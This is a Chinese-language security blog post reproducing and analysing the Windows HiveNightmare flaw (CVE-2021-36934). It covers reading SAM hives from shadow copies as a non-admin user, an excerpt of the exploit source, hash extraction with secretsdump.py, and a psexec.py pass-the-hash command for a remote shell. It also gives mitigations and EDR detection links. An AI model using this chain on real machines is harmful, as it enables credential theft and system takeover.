Windows提权漏洞:CVE-2021-36934(HiveNightmare)复现与分析

本来发在团队公众号上的,结果由于特殊原因不得不撤掉,就发在博客上吧,挺久了。。

0x01 漏洞描述

​ 该漏洞是由于Windows对多个系统文件(包括安全账户管理器(SAM))的访问控制列表(ACL)过于宽松所导致的特权提升漏洞。成功利用此漏洞的攻击者可以将普通用户权限提升至SYSTEM权限,并在目标机器上执行任意代码,从而达到控制目标系统的目的。该漏洞存在一定的前置利用条件,需要目标系统开启系统保护,并设置了系统还原点才可进行攻击。如果Win10 C盘大于128G保护模式会默认开启,并进行还原点备份,exp会从这个备份的卷影dump sam文件从而进行利用。

风险等级:

1

影响版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for x64-based Systems

0x02 漏洞复现

使用Admin权限执行该命令:

1
icacls c:\Windows\System32\Config\SAM

如果输出BUILTIN\USERS:(I)(RX)则漏洞存在。

2

Jonas L在win11中发现权限访问问题,非管理员用户可以访问c:\Windows\System32\config\下的敏感配置,这其中包括了SAM这些凭证信息。作为非管理员通过这个权限问题,可以读取出管理的hash凭证。在内网中,我们便可以进行哈希传递这些横向移动。

E6rsUghWYAgHD1d

(使用FileTest来读取文件,通过createfile函数获取到sam的handle后,通过readfile来读取文件)

下载并运行exp, 读取SAM, SYSTEM, SECURITY hives。

2

出现了三个新文件。

3

将这三个文件拖入kali,使用impacket中的secretsdump.py拿到管理员账户的hash。

4

再用psexec.py打开目标主机cmd,然后为所欲为。

1
psexec.py -hashes 管理员账户hash administrator@目标主机ip cmd.exe

0x03 EXP分析

(好像也没啥可分析的.)

1
2
//解决无法访问正在使用的SAM问题
hfile = CreateFile(fullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

然后主要就三段代码读取和转储SAM, SECURITY和SYSTEM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  wcout << L"\nHiveNightmare v0.5 - dump registry hives as non-admin users\n\nSpecify maximum number of shadows to inspect with parameter if wanted, default is 15.\n\nRunning...\n\n";

HANDLE hFile;

//设置要读取敏感文件位置
TCHAR samLocation[] = L"Windows\\System32\\config\\SAM";
TCHAR securityLocation[] = L"Windows\\System32\\config\\SECURITY";
TCHAR systemLocation[] = L"Windows\\System32\\config\\SYSTEM";
TCHAR fileTime[200];
TCHAR fileName[20];

hFile = getVssFileHandle(samLocation, searchDepth);
if (hFile == INVALID_HANDLE_VALUE) {
wcout << "Could not open SAM :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n";
return -1; //读取Windows\System32\config\SAM失败的错误处理
}
else {
getFileTime(hFile, fileTime, 200);
swprintf_s(fileName, L"SAM-%s", fileTime); //buggy if name too long
dumpHandleToFile(hFile, fileName);
CloseHandle(hFile); //操作结束,关闭文件句柄
wcout << endl << L"Success: SAM hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl;
}


//下面就是跟读取SAM一样的步骤,去读取SECURITY和SYSTEM

0x04 缓解措施

目前微软官方暂未发布安全更新,建议用户通过临时缓解方法进行防护。

临时缓解方法:

  1. 限制对 %windir%\system32\config 内容的访问

以管理员身份打开命令提示符或 Windows PowerShell,运行以下命令:

icacls %windir%\system32\config*.* /inheritance:e

  1. 删除卷影复制服务 (VSS) 卷影副本

删除限制访问 %windir%\system32\config 之前存在的任何系统还原点和卷影卷。创建一个新的系统还原点(如果需要)。

注:变通办法的影响删除卷影副本可能会影响还原操作,包括使用第三方备份应用程序还原数据的能力。必须限制访问并删除卷影副本以防止利用该漏洞。

  1. 运行修复脚本

    https://github.com/GossiTheDog/HiveNightmare/blob/master/Mitigation.ps1

0x05 检测

使用EDR工具进行检测

Microsoft Defender for Endpoint

ThreatHunting/CVE-2021–36934-HiveNightmare-Defender.ahq at master · GossiTheDog/ThreatHunting (github.com)

M365 Defender query link

Mcafee EDR block rule

ThreatHunting/CVE-2021–36934-HiveNightmare-Mcafee at master · GossiTheDog/ThreatHunting (github.com)

Azure Sentinel

ThreatHunting/CVE-2021–36934-HiveNightmare-Sentinel-Events at master · GossiTheDog/ThreatHunting (github.com)

0x06 参考链接

https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

https://github.com/GossiTheDog/HiveNightmare/

小声bb:感觉实际利用场景不太大,除非结合诱导下载之类的。。(社工yyds)